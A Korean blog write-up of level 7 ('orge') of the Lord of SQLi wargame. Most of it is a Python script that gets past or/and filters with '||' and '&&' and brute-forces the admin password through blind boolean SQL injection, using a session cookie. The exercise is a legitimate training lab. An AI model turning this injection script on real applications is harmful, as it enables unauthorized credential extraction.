본문 바로가기
C. 웹/실습

[LOS] 7번 orge

by E-HO 2017. 8. 25.
728x90

ㅎㅇ


or와 and 필터링을 우회해서 비밀번호를 알아내자

하나하나 하기가 귀찮아서 파이썬 Brute force코드를 짜보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
 
URL = 'https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php'
head = {'cookie' : 'PHPSESSID=gcraruf8evku7kbdhoq9vqo986;  _cfduid=de63e93b1fee3ab4d7fa46e679599d9381503410506'}
 
def answer(num):
    for a in range(1,num+1):
        for b in range(48,128):
            params_b = {'pw' : "'|| 1=1 && ascii(substr(pw,"+str(a)+",1)) = '"+str(b) }
            res_b = requests.get(url=URL, params=params_b, headers=head)
            if("Hello admin" in res_b.text):
                print(chr(b))
                break
            
for i in range(5,15):
    params = {'pw' : "' || 1=1 && length(pw)='"+str(i)}
    res  = requests.get(url=URL, params=params, headers=head)
    if ("Hello admin" in res.text):
        print(i)
        answer(i)
        break
 
cs

파이썬 코드를 이용해서 and 필터링을 우회할때 %26을 이용하였더니 계속 안되었다..

이것 때문에 계속 안됬다..

이제 잘 알아 둬야겠다


첫번째는 자릿수 그 뒤에는 비번

입력하면


깔끔하게 해결!

반응형

'C. 웹 > 실습' 카테고리의 다른 글

[LOS] 9번 vampire  (0) 2017.08.25
[LOS] 8번 troll  (0) 2017.08.25
[LOS] 6번 darkelf  (0) 2017.08.25
[LOS] 5번 wolfman  (0) 2017.08.03
[LOS] 4번 orc  (0) 2017.08.03